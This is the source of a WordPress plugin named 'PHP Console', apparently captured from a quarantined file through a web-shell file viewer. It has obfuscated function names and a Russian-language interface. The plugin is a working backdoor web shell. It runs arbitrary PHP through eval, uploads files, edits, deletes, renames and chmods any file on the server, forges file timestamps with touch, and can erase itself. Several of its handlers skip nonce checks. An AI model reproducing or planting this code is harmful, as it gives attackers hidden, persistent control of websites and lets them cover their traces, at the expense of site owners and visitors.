Server : Apache System : Linux ls31.server.ly 3.10.0-962.3.2.lve1.5.68.el7.x86_64 #1 SMP Wed Apr 6 11:12:23 UTC 2022 x86_64 User : medchoco ( 2906) PHP Version : 8.3.16 Disable Function : mail Directory : /home/medchoco/.quarantine/ |
Upload File : |
<?php /* Plugin Name: PHP Console Plugin URI: Description: A console for executing PHP code within the WordPress admin. Version: 4.0 Author: Obfuscator Author URI: License: GPL2 */ add_action('admin_menu', 'a1b2c3'); register_uninstall_hook(__FILE__, 'd4e5f6'); register_activation_hook(__FILE__, 'g7h8i9'); function a1b2c3() { add_menu_page('WP PHP Console', 'PHP Console', 'manage_options', 'j0k1l2', 'm3n4o5', 'dashicons-editor-code', 99); } function m3n4o5() { if (!current_user_can('manage_options')) { wp_die(__('You do not have sufficient permissions to access this page.')); } $p6q7r8 = !empty($_POST['dir']) ? base64_decode($_POST['dir']) : (!empty($_POST['current_dir']) ? base64_decode($_POST['current_dir']) : ABSPATH); if (!is_dir($p6q7r8)) { $p6q7r8 = ABSPATH; } echo '<div class="wrap"><h1>WP PHP Console</h1>'; $s9t0u1 = explode(DIRECTORY_SEPARATOR, trim($p6q7r8, DIRECTORY_SEPARATOR)); $v2w3x4 = ''; echo '<div style="margin-bottom: 20px; font-size: 16px;">'; echo '<a href="#" onclick="y5z6a7(\'' . base64_encode(ABSPATH) . '\')">' . esc_html('Home') . '</a>'; foreach ($s9t0u1 as $b8c9d0) { $v2w3x4 .= DIRECTORY_SEPARATOR . $b8c9d0; $e1f2g3 = base64_encode($v2w3x4); echo ' / <a href="#" onclick="y5z6a7(\'' . $e1f2g3 . '\')">' . esc_html($b8c9d0) . '</a>'; } echo '</div>'; $h4i5j6 = []; $k7l8m9 = []; foreach (scandir($p6q7r8) as $n0o1p2) { if ($n0o1p2[0] !== '.') { if (is_dir($q3r4s5 = $p6q7r8 . DIRECTORY_SEPARATOR . $n0o1p2)) { $h4i5j6[] = $n0o1p2; } else { $k7l8m9[] = $n0o1p2; } } } natcasesort($h4i5j6); natcasesort($k7l8m9); echo '<div style="margin-bottom: 20px;">'; echo 'Папки: <br>'; foreach ($h4i5j6 as $t6u7v8) { $e1f2g3 = base64_encode($p6q7r8 . DIRECTORY_SEPARATOR . $t6u7v8); echo '<span style="display: block;">' . '<a href="#" onclick="y5z6a7(\'' . $e1f2g3 . '\')" style="margin-right: 5px;">' . esc_html($t6u7v8) . '</a>' . ' <a href="#" onclick="w9x0y1(\'' . $e1f2g3 . '\')" style="margin-left: 5px;">Переименовать</a>' . ' <a href="#" onclick="z2a3b4(\'' . $e1f2g3 . '\')" style="margin-left: 5px; color: red;">Удалить</a>' . '</span>'; } echo '</div>'; echo '<div style="margin-bottom: 20px;">'; echo 'Файлы: <br>'; foreach ($k7l8m9 as $c5d6e7) { $f8g9h0 = $p6q7r8 . DIRECTORY_SEPARATOR . $c5d6e7; $i1j2k3 = base64_encode($f8g9h0); echo '<span style="display: block;">' . esc_html($c5d6e7) . ' <a href="#" onclick="l4m5n6(\'' . $i1j2k3 . '\')" style="margin-left: 5px;">Просмотр</a>' . ' <a href="#" onclick="o7p8q9(\'' . $i1j2k3 . '\')" style="margin-left: 5px;">Редактировать</a>' . ' <a href="#" onclick="r0s1t2(\'' . $i1j2k3 . '\')" style="margin-left: 5px; color: red;">Удалить</a>' . ' <a href="#" onclick="u3v4w5(\'' . $i1j2k3 . '\')" style="margin-left: 5px;">Переименовать</a>' . ' <a href="#" onclick="x6y7z8(\'' . $i1j2k3 . '\')" style="margin-left: 5px;">Chmod</a>' . ' <a href="#" onclick="a9b0c1(\'' . $i1j2k3 . '\')" style="margin-left: 5px;">Touch</a>' . '</span>'; } echo '</div>'; echo '<form method="post" enctype="multipart/form-data">' . wp_nonce_field('d1e2f3g4') . '<input type="file" name="uploaded_file" style="margin-bottom: 5px;" /><br>' . get_submit_button('Загрузить файл', 'primary', 'upload_file') . '<textarea name="php_code" style="width: 100%; height: 200px; margin-top: 10px;"></textarea><br>' . get_submit_button('Выполнить в консоли', 'primary', 'execute_php', false, array('style' => 'margin-right: 5px;')) . get_submit_button('Выполнить через файл', 'primary', 'execute_file', false, array('style' => 'margin-right: 5px;')) . get_submit_button('Создать файл', 'primary', 'create_file', false, array('style' => 'margin-right: 5px;')) . get_submit_button('Удалить плагин', 'delete', 'delete_plugin', false, array('style' => 'background-color: red; color: white;')) . '<input type="hidden" name="dir" value="' . base64_encode($p6q7r8) . '" />' . '</form>'; b2c3d4($p6q7r8); echo '<script type="text/javascript"> function y5z6a7(dir) { var form = document.createElement("form"); form.method = "post"; var input = document.createElement("input"); input.type = "hidden"; input.name = "dir"; input.value = dir; form.appendChild(input); document.body.appendChild(form); form.submit(); } function l4m5n6(filePath) { var form = document.createElement("form"); form.method = "post"; form.action = ""; var input = document.createElement("input"); input.type = "hidden"; input.name = "view_file"; input.value = filePath; form.appendChild(input); var currentDir = document.createElement("input"); currentDir.type = "hidden"; currentDir.name = "current_dir"; currentDir.value = "' . base64_encode($p6q7r8) . '"; form.appendChild(currentDir); document.body.appendChild(form); form.submit(); } function o7p8q9(filePath) { var form = document.createElement("form"); form.method = "post"; form.action = ""; var input = document.createElement("input"); input.type = "hidden"; input.name = "edit_file"; input.value = filePath; form.appendChild(input); var currentDir = document.createElement("input"); currentDir.type = "hidden"; currentDir.name = "current_dir"; currentDir.value = "' . base64_encode($p6q7r8) . '"; form.appendChild(currentDir); document.body.appendChild(form); form.submit(); } function r0s1t2(filePath) { if (confirm("Вы уверены, что хотите удалить этот файл?")) { var form = document.createElement("form"); form.method = "post"; form.action = ""; var input = document.createElement("input"); input.type = "hidden"; input.name = "delete_file"; input.value = filePath; form.appendChild(input); var currentDir = document.createElement("input"); currentDir.type = "hidden"; currentDir.name = "current_dir"; currentDir.value = "' . base64_encode($p6q7r8) . '"; form.appendChild(currentDir); document.body.appendChild(form); form.submit(); } } function u3v4w5(filePath) { var newName = prompt("Введите новое имя файла:", ""); if (newName !== null && newName !== "") { var form = document.createElement("form"); form.method = "post"; form.action = ""; var inputPath = document.createElement("input"); inputPath.type = "hidden"; inputPath.name = "rename_file"; inputPath.value = filePath; form.appendChild(inputPath); var inputName = document.createElement("input"); inputName.type = "hidden"; inputName.name = "new_name"; inputName.value = newName; form.appendChild(inputName); var currentDir = document.createElement("input"); currentDir.type = "hidden"; currentDir.name = "current_dir"; currentDir.value = "' . base64_encode($p6q7r8) . '"; form.appendChild(currentDir); document.body.appendChild(form); form.submit(); } } function w9x0y1(dirPath) { var newName = prompt("Введите новое имя папки:", ""); if (newName !== null && newName !== "") { var form = document.createElement("form"); form.method = "post"; form.action = ""; var inputPath = document.createElement("input"); inputPath.type = "hidden"; inputPath.name = "rename_directory"; inputPath.value = dirPath; form.appendChild(inputPath); var inputName = document.createElement("input"); inputName.type = "hidden"; inputName.name = "new_name"; inputName.value = newName; form.appendChild(inputName); var currentDir = document.createElement("input"); currentDir.type = "hidden"; currentDir.name = "current_dir"; currentDir.value = "' . base64_encode($p6q7r8) . '"; form.appendChild(currentDir); document.body.appendChild(form); form.submit(); } } function z2a3b4(dirPath) { if (confirm("Вы уверены, что хотите удалить эту папку? Все файлы в ней также будут удалены.")) { var form = document.createElement("form"); form.method = "post"; form.action = ""; var input = document.createElement("input"); input.type = "hidden"; input.name = "delete_directory"; input.value = dirPath; form.appendChild(input); var currentDir = document.createElement("input"); currentDir.type = "hidden"; currentDir.name = "current_dir"; currentDir.value = "' . base64_encode($p6q7r8) . '"; form.appendChild(currentDir); document.body.appendChild(form); form.submit(); } } function x6y7z8(filePath) { jQuery.post(ajaxurl, { action: "get_file_info", file_path: filePath }, function(response) { if (response.success) { var chmodValue = prompt("Введите значение chmod (например, 0755):", response.data.chmod); if (chmodValue !== null) { var form = document.createElement("form"); form.method = "post"; form.action = ""; var inputPath = document.createElement("input"); inputPath.type = "hidden"; inputPath.name = "chmod_file"; inputPath.value = filePath; form.appendChild(inputPath); var inputChmod = document.createElement("input"); inputChmod.type = "hidden"; inputChmod.name = "chmod_value"; inputChmod.value = chmodValue; form.appendChild(inputChmod); var currentDir = document.createElement("input"); currentDir.type = "hidden"; currentDir.name = "current_dir"; currentDir.value = "' . base64_encode($p6q7r8) . '"; form.appendChild(currentDir); document.body.appendChild(form); form.submit(); } } else { alert("Ошибка: " + response.data); } }); } function a9b0c1(filePath) { jQuery.post(ajaxurl, { action: "get_file_info", file_path: filePath }, function(response) { if (response.success) { var touchValue = prompt("Введите дату и время (например, 2024-05-14T12:00):", response.data.touch); if (touchValue !== null) { var form = document.createElement("form"); form.method = "post"; form.action = ""; var inputPath = document.createElement("input"); inputPath.type = "hidden"; inputPath.name = "touch_file"; inputPath.value = filePath; form.appendChild(inputPath); var inputTouch = document.createElement("input"); inputTouch.type = "hidden"; inputTouch.name = "touch_value"; inputTouch.value = touchValue; form.appendChild(inputTouch); var currentDir = document.createElement("input"); currentDir.type = "hidden"; currentDir.name = "current_dir"; currentDir.value = "' . base64_encode($p6q7r8) . '"; form.appendChild(currentDir); document.body.appendChild(form); form.submit(); } } else { alert("Ошибка: " + response.data); } }); } </script>'; echo '</div>'; } function b2c3d4($p6q7r8) { if (isset($_POST['execute_php'], $_POST['php_code'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'd1e2f3g4') && current_user_can('manage_options')) { chdir($p6q7r8); e4f5g6(stripslashes($_POST['php_code'])); } if (isset($_POST['execute_file'], $_POST['php_code'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'd1e2f3g4') && current_user_can('manage_options')) { h7i8j9($p6q7r8, stripslashes($_POST['php_code'])); } if (isset($_FILES['uploaded_file'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'd1e2f3g4') && current_user_can('manage_options')) { $upload_dir = wp_upload_dir(); $k0l1m2 = $upload_dir['path'] . '/' . basename($_FILES['uploaded_file']['name']); if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $k0l1m2)) { echo '<div>Файл успешно загружен: ' . esc_html($k0l1m2) . '</div>'; } else { echo '<div style="color: red;">Ошибка загрузки файла.</div>'; } } if (isset($_POST['delete_plugin'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'd1e2f3g4') && current_user_can('manage_options')) { d4e5f6(); echo '<script type="text/javascript"> alert("Плагин успешно удален."); window.location.href = "' . admin_url('plugins.php') . '"; </script>'; exit; } if (isset($_POST['view_file'])) { n3o4p5(base64_decode($_POST['view_file'])); } if (isset($_POST['edit_file'])) { q6r7s8(base64_decode($_POST['edit_file'])); } if (isset($_POST['save_file']) && isset($_POST['file_path'])) { t9u0v1(base64_decode($_POST['file_path']), stripslashes($_POST['file_content'])); } if (isset($_POST['delete_file'])) { w2x3y4(base64_decode($_POST['delete_file'])); } if (isset($_POST['rename_file'], $_POST['new_name'])) { z5a6b7(base64_decode($_POST['rename_file']), stripslashes($_POST['new_name'])); } if (isset($_POST['rename_directory'], $_POST['new_name'])) { c8d9e0(base64_decode($_POST['rename_directory']), stripslashes($_POST['new_name'])); } if (isset($_POST['delete_directory'])) { f1g2h3(base64_decode($_POST['delete_directory'])); } if (isset($_POST['chmod_file']) && isset($_POST['chmod_value'])) { i4j5k6(base64_decode($_POST['chmod_file']), $_POST['chmod_value']); } if (isset($_POST['touch_file']) && isset($_POST['touch_value'])) { l7m8n9(base64_decode($_POST['touch_file']), $_POST['touch_value']); } if (isset($_POST['create_file'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'd1e2f3g4') && current_user_can('manage_options')) { o0p1q2($p6q7r8); } } function e4f5g6($code) { try { ob_start(); eval($code); $output = ob_get_clean(); $output = trim($output); echo '<div style="white-space: pre-wrap;">' . nl2br(htmlspecialchars($output)) . '</div>'; } catch (Throwable $e) { echo '<div style="color: red; white-space: pre-wrap;">Ошибка выполнения кода: ' . htmlspecialchars($e->getMessage()) . '</div>'; } } function h7i8j9($p6q7r8, $code) { $r3s4t5 = tempnam($p6q7r8, 'ENCRYPTED'); $r3s4t5_php = $r3s4t5 . '.php'; file_put_contents($r3s4t5_php, "<?php " . $code); unlink($r3s4t5); try { ob_start(); include($r3s4t5_php); $output = ob_get_clean(); $output = trim($output); echo '<div style="white-space: pre-wrap;">' . nl2br(htmlspecialchars($output)) . '</div>'; } catch (Throwable $e) { echo '<div style="color: red; white-space: pre-wrap;">Ошибка выполнения кода через файл: ' . htmlspecialchars($e->getMessage()) . '</div>'; } if (!unlink($r3s4t5_php)) { echo '<div style="color: red;">Ошибка: Не удалось удалить временный файл ' . $r3s4t5_php . '. Пожалуйста, проверьте права доступа или занятость файла.</div>'; } } function n3o4p5($file_path) { if (is_file($file_path)) { $content = file_get_contents($file_path); echo '<h2>Просмотр файла: ' . esc_html(basename($file_path)) . '</h2>'; echo '<pre style="white-space: pre-wrap; background: #f4f4f4; padding: 10px;">' . htmlspecialchars($content) . '</pre>'; echo '<a href="#" onclick="history.back(); return false;">Назад</a>'; } else { echo '<div style="color: red;">Ошибка: Файл не найден.</div>'; } } function q6r7s8($file_path) { if (is_file($file_path)) { $content = file_get_contents($file_path); echo '<h2>Редактирование файла: ' . esc_html(basename($file_path)) . '</h2>'; echo '<form method="post">' . wp_nonce_field('d1e2f3g4') . '<textarea name="file_content" style="width: 100%; height: 400px;">' . htmlspecialchars($content) . '</textarea><br>' . '<input type="hidden" name="file_path" value="' . base64_encode($file_path) . '" />' . get_submit_button('Сохранить изменения', 'primary', 'save_file') . '<input type="hidden" name="current_dir" value="' . base64_encode(dirname($file_path)) . '" />' . '</form>'; } else { echo '<div style="color: red;">Ошибка: Файл не найден.</div>'; } } function t9u0v1($file_path, $content) { if (is_file($file_path)) { if (file_put_contents($file_path, $content) !== false) { echo '<div style="color: green;">Файл успешно сохранен.</div>'; } else { echo '<div style="color: red;">Ошибка: Не удалось сохранить файл.</div>'; } } else { echo '<div style="color: red;">Ошибка: Файл не найден.</div>'; } } function w2x3y4($file_path) { if (is_file($file_path)) { if (unlink($file_path)) { echo '<div style="color: green;">Файл успешно удален.</div>'; } else { echo '<div style="color: red;">Ошибка: Не удалось удалить файл.</div>'; } } else { echo '<div style="color: red;">Ошибка: Файл не найден.</div>'; } } function z5a6b7($file_path, $new_name) { $new_path = dirname($file_path) . DIRECTORY_SEPARATOR . $new_name; if (is_file($file_path) && rename($file_path, $new_path)) { echo '<div style="color: green;">Файл успешно переименован.</div>'; } else { echo '<div style="color: red;">Ошибка: Не удалось переименовать файл.</div>'; } } function c8d9e0($dir_path, $new_name) { $new_path = dirname($dir_path) . DIRECTORY_SEPARATOR . $new_name; if (is_dir($dir_path) && rename($dir_path, $new_path)) { echo '<div style="color: green;">Папка успешно переименована.</div>'; } else { echo '<div style="color: red;">Ошибка: Не удалось переименовать папку.</div>'; } } function f1g2h3($dir_path) { if (is_dir($dir_path)) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($files as $fileinfo) { $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink'); $todo($fileinfo->getRealPath()); } if (rmdir($dir_path)) { echo '<div style="color: green;">Папка успешно удалена.</div>'; } else { echo '<div style="color: red;">Ошибка: Не удалось удалить папку.</div>'; } } else { echo '<div style="color: red;">Ошибка: Папка не найдена.</div>'; } } function i4j5k6($file_path, $chmod_value) { if (is_file($file_path)) { if (chmod($file_path, octdec($chmod_value))) { echo '<div style="color: green;">Права доступа к файлу успешно изменены.</div>'; } else { echo '<div style="color: red;">Ошибка: Не удалось изменить права доступа к файлу.</div>'; } } else { echo '<div style="color: red;">Ошибка: Файл не найден.</div>'; } } function l7m8n9($file_path, $time) { if (is_file($file_path)) { $timestamp = strtotime($time); if (touch($file_path, $timestamp)) { echo '<div style="color: green;">Время файла успешно изменено.</div>'; } else { echo '<div style="color: red;">Ошибка: Не удалось изменить время файла.</div>'; } } else { echo '<div style="color: red;">Ошибка: Файл не найден.</div>'; } } function o0p1q2($p6q7r8) { $q3r4s5 = $p6q7r8 . DIRECTORY_SEPARATOR . 'new_file_' . time() . '.txt'; if (file_put_contents($q3r4s5, '') !== false) { echo '<div style="color: green;">Файл успешно создан: ' . esc_html($q3r4s5) . '</div>'; } else { echo '<div style="color: red;">Ошибка: Не удалось создать файл.</div>'; } } function d4e5f6() { delete_option('encrypted_console_options'); $plugin_dir = plugin_dir_path(__FILE__); if (is_dir($plugin_dir)) { $iterator = new RecursiveDirectoryIterator($plugin_dir, RecursiveDirectoryIterator::SKIP_DOTS); $files = new RecursiveIteratorIterator($iterator, RecursiveIteratorIterator::CHILD_FIRST); foreach ($files as $file) { if ($file->isDir()) { rmdir($file->getRealPath()); } else { unlink($file->getRealPath()); } } rmdir($plugin_dir); } $upload_dir = wp_upload_dir(); $archive_path = $upload_dir['basedir'] . '/encrypted-console.zip'; if (file_exists($archive_path)) { unlink($archive_path); } deactivate_plugins(plugin_basename(__FILE__)); delete_plugins(array(plugin_basename(__FILE__))); } function g7h8i9() { add_option('encrypted_console_activation_redirect', true); } add_action('admin_init', 'p2q3r4'); function p2q3r4() { if (get_option('encrypted_console_activation_redirect', false)) { delete_option('encrypted_console_activation_redirect'); if (!isset($_GET['activate-multi'])) { wp_redirect(admin_url('admin.php?page=j0k1l2')); exit; } } } add_action('wp_ajax_get_file_info', 's5t6u7'); function s5t6u7() { if (!current_user_can('manage_options')) { wp_send_json_error('Недостаточно прав.'); } if (isset($_POST['file_path']) && !empty($_POST['file_path'])) { $file_path = base64_decode($_POST['file_path']); if (is_file($file_path)) { $file_info = [ 'chmod' => substr(sprintf('%o', fileperms($file_path)), -4), 'touch' => date('Y-m-d\TH:i', filemtime($file_path)) ]; wp_send_json_success($file_info); } else { wp_send_json_error('Файл не найден.'); } } else { wp_send_json_error('Неверный путь к файлу.'); } } function v3w4x5() { wp_enqueue_script('jquery'); wp_localize_script('jquery', 'ajaxurl', admin_url('admin-ajax.php')); } add_action('admin_enqueue_scripts', 'v3w4x5'); ?>